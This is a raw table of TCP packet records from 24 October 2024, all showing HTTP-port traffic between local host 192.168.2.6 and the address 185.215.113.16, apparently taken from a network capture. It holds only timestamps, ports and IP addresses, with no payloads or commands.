Oct 24, 2024 18:09:12.571865082 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.571867943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.571898937 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.571922064 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.571933031 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.571942091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.571985006 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.571999073 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.572052002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.572058916 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.572105885 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.572123051 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.572156906 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.572175980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.572206020 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.572226048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.572268009 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.572580099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.572612047 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.572634935 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.572645903 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.572679996 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.572704077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.572715044 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.572731972 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.572767973 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.616854906 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.616925955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.616980076 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617012024 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617047071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617079973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617101908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617101908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617101908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617101908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617101908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617115021 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617149115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617183924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617196083 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617196083 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617196083 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617216110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617222071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617249966 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617269039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617285967 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617300987 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617326021 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617331028 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617388010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617813110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617846966 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617881060 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617916107 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.617985964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617985964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617985964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.617985964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.618021965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.618057013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.618072987 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.618091106 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.618108988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.618132114 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.618133068 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.618166924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.618176937 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.618228912 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.618587017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.618659019 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.618688107 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.618722916 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.618742943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.618756056 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.618767977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.618789911 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.618803978 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.618824959 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.618846893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.618858099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.618880033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.618894100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.618916988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.618952036 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.657021046 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.657040119 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.657054901 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.657088041 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.657126904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.657294989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.657319069 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.657335043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.657339096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.657360077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.657360077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.657375097 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.657376051 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.657391071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.657392025 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.657407045 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.657409906 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.657426119 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.657428980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.657443047 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.657444954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.657459974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.657463074 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.657478094 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.657496929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.690568924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.690594912 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.690610886 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.690623999 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.690627098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.690642118 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.690644979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.690660954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.690663099 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.690694094 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.690713882 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.690784931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.690812111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.690825939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.690825939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.690849066 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.690865040 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691013098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691041946 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691056967 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691076040 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691080093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691114902 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691248894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691292048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691294909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691308022 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691329002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691343069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691364050 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691379070 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691399097 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691407919 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691426039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691437960 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691787958 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691838980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691844940 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691860914 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691889048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691904068 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691932917 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691947937 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.691967010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.691984892 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.736954927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.736989021 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737008095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737023115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737040043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737056017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737057924 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737057924 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737082958 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737093925 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737093925 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737099886 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737117052 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737117052 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737133980 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737147093 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737147093 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737149954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737165928 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737168074 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737183094 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737198114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737205029 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737221956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737231970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737236977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737255096 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737255096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737263918 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737270117 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737282991 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737286091 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737299919 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737304926 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737324953 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737335920 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737354994 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.737946033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737970114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737986088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.737993002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.738012075 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.738023043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.738033056 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.738039017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.738054991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.738063097 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.738080025 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.738089085 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.738641977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.738657951 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.738672018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.738689899 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.738707066 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.776702881 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.776758909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.776788950 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.776814938 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.776840925 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.776868105 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.776899099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.776905060 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.776905060 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.776906013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.776906013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.776906013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.776906013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.776926994 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.776957989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.776990891 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.777003050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.777003050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.777003050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.777019978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.777035952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.777050972 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.777060986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.777080059 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.777092934 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.777139902 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810184956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810230017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810286999 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810321093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810353041 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810403109 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810414076 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810414076 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810414076 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810414076 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810414076 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810436964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810471058 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810497999 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810497999 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810499907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810524940 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810534954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810559034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810570002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810581923 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810604095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810632944 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810640097 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810652971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810673952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810700893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810709000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810722113 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810745955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.810760975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.810796976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.811002970 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.811036110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.811068058 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.811070919 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.811070919 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.811101913 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.811116934 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.811148882 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.811264992 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.811338902 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.811345100 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.811373949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.811389923 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.811408043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.811431885 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.811440945 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.811456919 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.811476946 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.811495066 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.811533928 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856383085 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856435061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856471062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856523991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856556892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856590986 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856609106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856609106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856609106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856609106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856609106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856625080 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856657982 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856692076 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856707096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856707096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856707096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856724977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856733084 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856760025 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856764078 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856796026 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856837988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856837988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856848955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856883049 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856904984 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856920958 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856930971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856951952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.856972933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.856986046 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857004881 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.857023954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857048988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.857057095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857069969 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.857091904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857125998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.857153893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.857177973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857248068 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.857263088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857312918 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857312918 CEST	49994	80	192.168.2.6	185.215.113.16
